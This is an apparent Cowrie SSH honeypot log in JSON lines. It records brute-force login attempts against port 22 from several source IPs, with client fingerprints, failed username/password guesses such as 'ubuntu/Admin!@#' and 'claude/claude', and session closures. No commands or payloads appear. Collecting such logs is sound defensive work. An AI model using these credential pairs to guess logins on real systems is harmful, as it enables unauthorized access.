{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":47952,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3a725a44292","protocol":"ssh","message":"New connection: 202.4.106.201:47952 (159.203.135.109:22) [session: e3a725a44292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:15.251344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:15.256934Z","src_ip":"202.4.106.201","session":"e3a725a44292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:15.527303Z","src_ip":"202.4.106.201","session":"e3a725a44292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin!@#","message":"login attempt [ubuntu/Admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:16.638808Z","src_ip":"202.4.106.201","session":"e3a725a44292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34538,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb250d58f7d","protocol":"ssh","message":"New connection: 122.168.114.167:34538 (159.203.135.109:22) [session: 9cb250d58f7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:17.331654Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:17.911822Z","src_ip":"202.4.106.201","session":"e3a725a44292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":51304,"dst_ip":"159.203.135.109","dst_port":22,"session":"5399c0f0ee76","protocol":"ssh","message":"New connection: 103.182.132.154:51304 (159.203.135.109:22) [session: 5399c0f0ee76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:21.663728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:21.669587Z","src_ip":"103.182.132.154","session":"5399c0f0ee76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:21.880730Z","src_ip":"103.182.132.154","session":"5399c0f0ee76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passs","message":"login attempt [admin/passs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:22.758852Z","src_ip":"103.182.132.154","session":"5399c0f0ee76","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:22.859633Z","src_ip":"122.168.114.167","session":"9cb250d58f7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:22.864185Z","src_ip":"122.168.114.167","session":"9cb250d58f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:23.973066Z","src_ip":"103.182.132.154","session":"5399c0f0ee76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:43.863061Z","src_ip":"122.168.114.167","session":"9cb250d58f7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.8","message":"Connection lost after 31.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:49.159012Z","src_ip":"122.168.114.167","session":"9cb250d58f7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57622,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5386700beec","protocol":"ssh","message":"New connection: 159.203.92.129:57622 (159.203.135.109:22) [session: a5386700beec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:51.721964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:51.726342Z","src_ip":"159.203.92.129","session":"a5386700beec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:51.730708Z","src_ip":"159.203.92.129","session":"a5386700beec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"123456","message":"login attempt [asterisk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:51.744781Z","src_ip":"159.203.92.129","session":"a5386700beec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:52.750622Z","src_ip":"159.203.92.129","session":"a5386700beec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2518c6d9283d","protocol":"ssh","message":"New connection: 122.168.114.167:36952 (159.203.135.109:22) [session: 2518c6d9283d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:31:59.838104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:04.818479Z","src_ip":"122.168.114.167","session":"2518c6d9283d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:04.823659Z","src_ip":"122.168.114.167","session":"2518c6d9283d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":37312,"dst_ip":"159.203.135.109","dst_port":22,"session":"56627491b81d","protocol":"ssh","message":"New connection: 202.4.106.201:37312 (159.203.135.109:22) [session: 56627491b81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:19.459356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:19.464257Z","src_ip":"202.4.106.201","session":"56627491b81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:19.745656Z","src_ip":"202.4.106.201","session":"56627491b81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:20.119223Z","src_ip":"122.168.114.167","session":"2518c6d9283d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":34164,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd54ed5b8108","protocol":"ssh","message":"New connection: 103.182.132.154:34164 (159.203.135.109:22) [session: dd54ed5b8108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:20.420991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:20.426349Z","src_ip":"103.182.132.154","session":"dd54ed5b8108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:20.639394Z","src_ip":"103.182.132.154","session":"dd54ed5b8108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd2024","message":"login attempt [ubuntu/P@ssw0rd2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:20.901911Z","src_ip":"202.4.106.201","session":"56627491b81d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12345678","message":"login attempt [ubuntu/admin12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:21.521009Z","src_ip":"103.182.132.154","session":"dd54ed5b8108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:22.185429Z","src_ip":"202.4.106.201","session":"56627491b81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:22.738266Z","src_ip":"103.182.132.154","session":"dd54ed5b8108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:24.594674Z","src_ip":"122.168.114.167","session":"2518c6d9283d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7579d03ee33e","protocol":"ssh","message":"New connection: 159.203.92.129:60420 (159.203.135.109:22) [session: 7579d03ee33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:31.902323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:31.906822Z","src_ip":"159.203.92.129","session":"7579d03ee33e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:31.911368Z","src_ip":"159.203.92.129","session":"7579d03ee33e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:31.922013Z","src_ip":"159.203.92.129","session":"7579d03ee33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:32.927581Z","src_ip":"159.203.92.129","session":"7579d03ee33e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39370,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8d60a45b8fa","protocol":"ssh","message":"New connection: 122.168.114.167:39370 (159.203.135.109:22) [session: f8d60a45b8fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:32:44.973710Z"}
